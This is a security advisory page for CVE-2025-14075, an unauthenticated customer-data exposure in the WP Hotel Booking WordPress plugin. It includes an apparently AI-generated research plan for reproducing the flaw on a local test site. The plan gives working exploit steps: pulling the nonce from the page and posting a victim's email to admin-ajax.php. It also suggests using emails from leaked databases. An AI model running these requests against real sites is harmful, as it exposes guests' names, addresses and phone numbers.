CVE-2025-14075

WP Hotel Booking <= 2.2.7 - Unauthenticated Sensitive Information Exposure via 'email' Parameter

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.8
Patched in
1d
Time to patch

Description

The WP Hotel Booking plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.7. This is due to the plugin exposing the 'hotel_booking_fetch_customer_info' AJAX action to unauthenticated users without proper capability checks, relying only on a nonce for protection. This makes it possible for unauthenticated attackers to retrieve sensitive customer information including full names, addresses, phone numbers, and email addresses by providing a valid email address and a publicly accessible nonce.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2.7
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026
Affected pluginwp-hotel-booking

What Changed in the Fix

Changes introduced in v2.2.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-14075 - WP Hotel Booking Sensitive Information Exposure ## 1. Vulnerability Summary The **WP Hotel Booking** plugin (<= 2.2.7) contains a sensitive information exposure vulnerability in its AJAX handling logic. The plugin registers the `hotel_booking_fetch_customer_info` a…

Show full research plan

Research Plan: CVE-2025-14075 - WP Hotel Booking Sensitive Information Exposure

1. Vulnerability Summary

The WP Hotel Booking plugin (<= 2.2.7) contains a sensitive information exposure vulnerability in its AJAX handling logic. The plugin registers the hotel_booking_fetch_customer_info action for both authenticated and unauthenticated users. This function retrieves and returns all post meta associated with a booking (hb_booking post type) matching a provided email address. Because the function relies solely on a publicly accessible nonce and lacks any capability or identity checks, an unauthenticated attacker can retrieve full names, addresses, phone numbers, and other sensitive details of any customer by knowing their email address.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: hotel_booking_fetch_customer_info
  • HTTP Method: POST
  • Parameters:
    • action: hotel_booking_fetch_customer_info
    • email: The target customer's email address (e.g., victim@example.com).
    • nonce: A valid WordPress nonce for the action hb_booking_nonce_action.
  • Authentication: Unauthenticated (nopriv).
  • Preconditions: An existing booking must exist in the database for the targeted email address.

3. Code Flow

  1. Entry Point: includes/class-wphb-ajax.php registers the action:
    // line 47
    'fetch_customer_info' => true,
    // lines 73-77
    add_action( "wp_ajax_hotel_booking_{$action}", array( __CLASS__, $action ) );
    if ( $priv ) {
        add_action( "wp_ajax_nopriv_hotel_booking_{$action}", array( __CLASS__, $action ) );
    }
    
  2. Nonce Verification: WPHB_Ajax::fetch_customer_info() verifies the nonce:
    // line 215
    if ( empty( hb_get_request( 'nonce', false ) )
        || ! wp_verify_nonce( hb_get_request( 'nonce' ), 'hb_booking_nonce_action' ) ) {
        die();
    }
    
  3. Data Retrieval: The function searches for hb_booking posts where the meta key _hb_customer_email matches the provided $email:
    // lines 220-225
    $args  = array(
        'post_type'   => 'hb_booking',
        'meta_key'    => '_hb_customer_email',
        'meta_value'  => $email,
        'post_status' => 'any',
    );
    
  4. Information Exposure: If a booking is found, it extracts all post meta for that booking and includes it in the JSON response:
    // lines 231-235
    if ( $posts = get_posts( $args ) ) {
        $customer       = $posts[0];
        $customer->data = array();
        $data           = get_post_meta( $customer->ID );
        foreach ( $data as $k => $v ) {
            $customer->data[ $k ] = $v[0];
        }
    }
    
    This includes sensitive keys such as _hb_customer_first_name, _hb_customer_last_name, _hb_customer_address, _hb_customer_phone, etc.

4. Nonce Acquisition Strategy

The nonce is required to pass the wp_verify_nonce check. The plugin localizes this nonce into the hotel_settings JavaScript object.

  1. Identify Trigger: The scripts are typically enqueued on pages containing the checkout or search functionality.
  2. Create Page: Create a page containing the [hb_checkout] shortcode.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content="[hb_checkout]"
  3. Navigate & Extract:
    • Use browser_navigate to go to the newly created Checkout page.
    • Use browser_eval to extract the nonce from the localized object.
    • JS Object: hotel_settings
    • Nonce Key: nonce
    • Command: browser_eval("window.hotel_settings?.nonce")

5. Exploitation Strategy

  1. Obtain Nonce: Follow the strategy in Section 4.
  2. Send Exploit Request: Use the http_request tool to send a POST request to admin-ajax.php.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=hotel_booking_fetch_customer_info&email=victim@example.com&nonce=[EXTRACTED_NONCE]
  3. Analyze Response: The response should be a JSON object containing the ID of the booking and a data object with all the victim's personal information.

6. Test Data Setup

  1. Create Victim Booking:
    • Create a post of type hb_booking.
    • Command: wp post create --post_type=hb_booking --post_status=publish --post_title="Booking for Victim" (Note the ID).
  2. Add Sensitive Meta:
    • _hb_customer_email: victim@example.com
    • _hb_customer_first_name: John
    • _hb_customer_last_name: Doe
    • _hb_customer_address: 123 Secret Lane, Privacy City
    • _hb_customer_phone: 555-0199
    • Commands:
      • wp post meta set [BOOKING_ID] _hb_customer_email victim@example.com
      • wp post meta set [BOOKING_ID] _hb_customer_first_name John
      • wp post meta set [BOOKING_ID] _hb_customer_last_name Doe
      • wp post meta set [BOOKING_ID] _hb_customer_address "123 Secret Lane, Privacy City"
      • wp post meta set [BOOKING_ID] _hb_customer_phone 555-0199
  3. Create Nonce Page:
    • Create a page with the [hb_checkout] shortcode as described in Section 4.

7. Expected Results

  • The AJAX request should return an HTTP 200 OK.
  • The response body should be a JSON object resembling:
    {
      "ID": 123,
      "post_author": "1",
      "post_date": "...",
      "data": {
        "_hb_customer_email": "victim@example.com",
        "_hb_customer_first_name": "John",
        "_hb_customer_last_name": "Doe",
        "_hb_customer_address": "123 Secret Lane, Privacy City",
        "_hb_customer_phone": "555-0199",
        "...": "..."
      }
    }
    

8. Verification Steps

  1. Verify Response: Ensure the fields in the JSON response match the meta data set during the "Test Data Setup" phase.
  2. Database Check: Run wp post meta list [BOOKING_ID] to confirm the data being returned is exactly what is stored in the database.

9. Alternative Approaches

  • Different Shortcode: If [hb_checkout] doesn't load the script, try [hb_archive_room] or [hb_search_results].
  • Global Search: If the email address is unknown, an attacker might guess common emails or use information from other leaked databases to perform targeted lookups.
  • Nonce Source: Check the "Archive Room" page if the checkout page is restricted; ArchiveRoomTemplate.php calls check_room_availability, which likely triggers frontend JS initialization.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.